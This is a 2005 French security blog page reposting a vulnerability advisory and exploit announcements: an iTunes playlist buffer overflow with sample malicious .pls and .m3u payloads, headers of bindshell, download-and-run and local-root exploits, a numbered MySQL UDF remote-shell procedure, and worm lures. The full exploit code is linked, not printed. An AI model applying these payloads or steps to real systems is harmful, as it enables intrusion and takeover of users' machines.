Recommander

W3C

  • Flux RSS des articles

Sécurité

Vendredi 14 janvier 2005
Apple iTunes Playlist Parsing Buffer Overflow Vulnerability

iDEFENSE Security Advisory 01.13.05:
http://www.idefense.com/application/poi/display?type=vulnerabilities
January 13, 2005

I. BACKGROUND

Apple iTunes is a digital jukebox capable of playing a variety of sound
file formats, sharing music and burning music CD's. More information
about iTunes is available from:

   http://www.apple.com/itunes/

II. DESCRIPTION

Remote exploitation of a buffer overflow vulnerability in Apple Computer
Inc.'s iTunes music player allows attackers to execute arbitrary code.

The problem specifically exists when parsing playlist files that contain
long URL file entries. Malicious playlist files can come with either the
.m3u or .pls extension. Though their formats are different, the
vulnerability in each is the same.

An example malicious .pls file with a long URL:

   [playlist]
   NumberOfEntries=1
   File1=http://[A x 3045]1234

An example malicious .m3u file with a long URL:

   http://[A x 3045]1234

In both cases '[A x 3045]' represents any string of 3,045 bytes in
length. Opening either malicious playlist file on the Microsoft Windows
platform will cause iTunes to crash with an access violation when
attempting to execute instruction 0x34333231, which is the little-endian
ASCII code representation of '1234'. An attacker can exploit this
vulnerability to redirect the flow of control and eventually execute
arbitrary code. While this example is specific to the Microsoft Windows
platform, exploitation on the Apple Mac OS platform is also possible.

III. ANALYSIS

Exploitation of the described vulnerability allows remote attackers to
execute arbitrary code under the context of the user who started iTunes.
Exploitation requires that an attacker convince a target user to open a
malicious playlist file with a vulnerable version of iTunes.

IV. DETECTION

iTunes 4.7 as installed on the Microsoft Windows and Apple Mac OS
platforms are affected. Earlier versions may also be susceptible.

V. WORKAROUND

Do not open playlist files from untrusted sources. Inspect the contents
of .m3u and .pls playlist files for long URL file names prior to opening
them with iTunes.

VI. VENDOR RESPONSE

This vulnerability is addressed in iTunes 4.7.1.

iTunes 4.7.1 may be obtained from the Software Update pane in System
Preferences, or Apple's iTunes download site:

  http://www.apple.com/itunes/download/

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
names CAN-2005-0043 to these issues. This is a candidate for inclusion
in the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

12/17/2004  Initial vendor notification
12/17/2004  Initial vendor response
01/13/2004  Public disclosure

IX. CREDIT

Sean de Regge (seanderegge[at]hotmail.com) is credited with this
discovery.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

X. LEGAL NOTICES

Copyright (c) 2004 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice@idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.

Par 0xbeef
Ecrire un commentaire - Voir les 0 commentaires - Recommander
Samedi 15 janvier 2005
/*
 * PoC for iTunes on OS X 10.3.7
 * -( nemo@felinemenace.org )-
 *
 * Generates a .pls file, when loaded in iTunes it
 * binds a shell to port 4444.
 * Shellcode contains no \x00 or \x0a's.
 *
 * sample output:
 *
 * -[nemo@gir:~]$ ./fm-eyetewnz foo.pls
 * -( fm-eyetewnz )-
 * -( nemo@felinemenace.org )-
 * Creating file: foo.pls.
 * Bindshell on port: 4444
 * -[nemo@gir:~]$ open foo.pls
 * -[nemo@gir:~]$ nc localhost 4444
 * id
 * uid=501(nemo) gid=501(nemo) groups=501(nemo)
 *
 * Thanks to andrewg, mercy and core.
 * Greetings to pulltheplug and felinemenace.
 *
 * -( need a challenge? )-
 * -( http://pulltheplug.org )-
 */

itunesPLS-local.txt
Par 0xbeef
Ecrire un commentaire - Voir les 0 commentaires - Recommander
Lundi 17 janvier 2005
/*
*
* Apple iTunes Playlist Buffer Overflow Download Shellcoded Exploit
* Bug discoveried by iDEFENSE Security  (http://www.idefense.com)
* Exploit coded By ATmaCA
* Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.
* Web: http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
* Credit to xT and delikon
* Usage:exploit <Target> <OutputPath> <Url>
* Targets:
* 1 - WinXP SP1 english - kernel32.dll push eax - ret [0x77E6532A]
* 2 - WinXP SP2 english - kernel32.dll push eax - ret [0x7C80BCB0]
* Example:exploit 1 vuln.m3u http://www.atmacasoft.com/exp/msg.exe
*
*/

/*
*
* Up to iTunes version 4.7 are affected
* Tested with iTunes v4.7 on WinXp Sp2 english platform
*
*/

itunesPLS.txt
Par 0xbeef
Ecrire un commentaire - Voir les 0 commentaires - Recommander
Lundi 17 janvier 2005
Kernel 2.4.x <= 2.4.29-rc2 and 2.6.x <= 2.6.10 are vulnerable

/*
* expand_stack SMP race local root exploit
*
* Copyright (C) 2005 Christophe Devine and Julien Tinnes
*
* This program is quite unreliable - you may have to run it
* several times before getting a rootshell. It was only tested
* so far on a bi-xeon running Debian testing / Linux 2.4.29-rc1.
*
* Vulnerability discovered by Paul Starzetz
* http://www.isec.pl/vulnerabilities/isec-0022-pagefault.txt
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/

stackgrow2.c
Par 0xbeef
Ecrire un commentaire - Voir les 0 commentaires - Recommander
Mardi 18 janvier 2005
Zataz:
Augmentation significative des activités hostiles à l'encontre du portMySql des serveurs Internet. L'alerte a été donnée par SANS. Le portTCP/3306 semble être surveillé de très, très prêt par les pirates etautres codes malicieux. On n'a pas encore de preuve au sujet d'unnouvel exploit visant MySQL, mais clairement il y a un certain intérêtpour ce port.

Bon bin l'explication a mon avis elle est simple:
http://www.nextgenss.com/papers/HackproofingMySQL.pdf

il faut regarder la partie sur les UDF ( User defined Functions).

A short summary about UDF:
UDF stands for user defined function.
Its a feature in mysql that makes it possible to generate and load your own functions into your mysql server.
Itsa nice feature, however if you put weak passes on your root login itcan be a harmful feature that makes it possible to start shell commandsremotely using such a designed UDF.
All an attacker would have to do is generate an UDF as nextgenss has done.
Load it into a table, dump it to harddisk and load the function.
Its a very easy task since the only things you need to know are the root account and the folder where we need to store the udf.
In steps:
1.Compile an UDF for the targeted system
2.Generate a Hexdump of this UDF
3.Generate a blob table
4.Load the Hexdump into this table
5.Dump the table into an outputfile
6.Load the function
7.Call the function


le  27 decembre l'exploit Linux est sorti au public:
http://www.securiteam.com/exploits/6G00P1PC0U.html
et il y a 3 jours le POC pour windows est devenu public donc forcement il y a une montee des scans...

What it does:
It will generate an UDF in %systemdir% that it will need to guess.
Afterwards it will write a compressed version of netcat to C:\nc.exe.
If everything worked well it will open the shell on port 21000.

--------Myudf v0.1--------
Mysql UDF-Method for Win32
Written by Killaloop
Opens nc shell on port 21000
All credits to nextgenss
THIS IS POC DONT DO ANYTHING HARMFUL WITH IT
Usage: myudf.exe IP USER PASSWORD(optional)
----------------------------

L'exploit windows ICI

Par 0xbeef
Ecrire un commentaire - Voir les 0 commentaires - Recommander
Mardi 18 janvier 2005
Un nouveau worms a fais son apparition, il se nomme Zar.A ou VBSun et utilise le tsunami pour que les victimes telechargent son attachement.
Il envoi le mail suivant:

Subject line: Tsunami Donation! Please help!
Message Body:Please help us with your donation and view the attachment below!We need you!
Attachment: tsunami.exe
Par 0xbeef
Ecrire un commentaire - Voir les 0 commentaires - Recommander
Mardi 18 janvier 2005
//**************************************************************************
// NodeManager Professional V2.00 Buffer Overflow Vulnerability
// Bind Shell Exploit for English Win2K/XP
// 21 Dec 2004
//
// NodeManager Professional is a network management and monitoring tool.
// It receives SNMPv1 traps and displays them on screen and logs them to
// a file. NodeManager Professional V2.00 has a stack overflow
// vulnerability that can be exploited by sending a specially crafted
// SNMPv1 trap.
//
// NodeManager Professional allows the user to use a format string to
// customize how each received trap is logged. For example, the default
// format string for the LinkDown event is
//
// "Snmp Trap LinkDown (EnterPrise=%EPRISE ObjectID=%OID Value=%DATA)"
//
// When a LinkDown-Trap packet is received, the various placeholders
// (e.g. %OID, %DATA) will be replaced with the received values. The
// resulting string is then displayed on screen and written out to a log file.
// The various fields from the received LinkDown-Trap UDP packet is first copied
// to global buffers in the .data segment. When the format string is parsed,
// each received value is first copied to a 512-byte local stack buffer before
// it is concatenated to the final string.
//
// By sending more than 512 bytes in the Trap DATA field, it is possible
// to overflow the stack buffer and overwrite the EIP.
//
//
// This exploit code binds shell on port 2001 of a system running a vulnerable
// version of NodeManager Professional.
//
// Advisory
// http://www.security.org.sg/vuln/nodemanager200.html
//
// Greetz: snooq, sk, and all guys at SIG^2 G-TEC
// (http://www.security.org.sg/webdocs/g-tec.html)
//
//**************************************************************************

nodemgrPOC.cpp
Par 0xbeef
Ecrire un commentaire - Voir les 1 commentaires - Recommander
Mercredi 19 janvier 2005
Le dernier myDoom en date, se deplacait en se faisant passer pour un site pornographique, et il utilisait donc les images du site reel:


la societe f-secure a donc prevenu les administrateurs de worldxxxpass.com pour qu'ils changent les images utilisees par mydoom en images prevenant du virus et le resultat est:


Par 0xbeef
Ecrire un commentaire - Voir les 0 commentaires - Recommander
Mercredi 19 janvier 2005
/*
* DoS for Darwin Kernel Version < 7.5.0
* -(nemo@pulltheplug.org)-
* 2005
*
* greetz to awnex, cryp, nt, andrewg, arc, mercy, amnesia ;)
* irc.pulltheplug.org (#social)
*/

fm-nacho.c
Par 0xbeef
Ecrire un commentaire - Voir les 0 commentaires - Recommander
Mercredi 19 janvier 2005
NGSSoftware qui avait decouvert les failles patchees par MS04-038 ont publie aujuorchui les details des deux failles:

Name: Microsoft Internet Explorer Install Engine Control Buffer Overflow
Systems Affected: Microsoft Internet Explorer 5.x/6.x
Severity: High
Vendor URL: http://www.microsoft.com/
Author: Peter Winter-Smith [ peter@ngssoftware.com ]
Date of Public Advisory: 19th January 2004
Advisory number: #NISR19012005a
Advisory URL: http://www.ngssoftware.com/advisories/msinsengfull.txt
Reference: http://www.ngssoftware.com/advisories/msinsengdll.txt

Name: MSN Heartbeat Control Buffer Overflow
Systems Affected: Microsoft Internet Explorer with the MSN Heartbeat Control
Severity: High
Vendor URL: http://zone.msn.com/
Author: John Heasman [ john@ngssoftware.com ]
Date of Public Advisory: 19th January 2004
Advisory number: #NISR19012005d
Advisory URL: http://www.ngssoftware.com/advisories/heartbeatfull.txt
Reference: http://www.ngssoftware.com/advisories/heartbeat.txt
Par 0xbeef
Ecrire un commentaire - Voir les 0 commentaires - Recommander

Recherche

Catégories

Calendrier

Novembre 2009
L M M J V S D
            1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30            
<< < > >>
Créer un blog sur over-blog.com - Contact - C.G.U. - Rémunération en droits d'auteur - Signaler un abus